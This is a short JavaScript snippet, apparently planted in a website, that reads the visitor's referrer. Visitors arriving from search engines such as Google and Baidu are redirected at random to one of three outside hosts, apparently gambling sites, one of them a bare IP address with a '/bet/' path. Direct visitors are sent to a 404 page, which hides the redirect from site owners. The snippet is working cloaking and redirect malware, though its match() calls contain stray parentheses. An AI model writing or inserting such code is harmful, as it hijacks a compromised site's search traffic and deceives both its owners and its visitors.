var ra = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.','sm.');
var r  = document.referrer.toLowerCase();
var p  = true;
for (i in ra){
	if (r.indexOf(ra[i]) > 0){
		p = false;break;
	}
}
if(p) {
	window.location.href = 'http://www.daxues.cn/404.html'
	} else {
	var rand = Math.random();
	if (rand < 0.3) {
	    var url = 'http://' + 'www.quanxun678.com/';
             if ( navigator.userAgent.match(/(iPhone|iPod|Android|ios|mobile)/i))) {
	        url+='mobile.html';
             }
            window.location.href = url;
	} else if(rand > 0.3 && rand <=0.7) {
	     var url = 'http://' + '23.248.195.18:8812/bet/index.html';
            window.location.href = url;
	}else {
	    var url = 'http://' + 'www.shijiebei518.com/';
            if ( navigator.userAgent.match(/(iPhone|iPod|Android|ios|mobile)/i))) {
	        url+='mobile.html';
             }
            window.location.href = url;
	}

}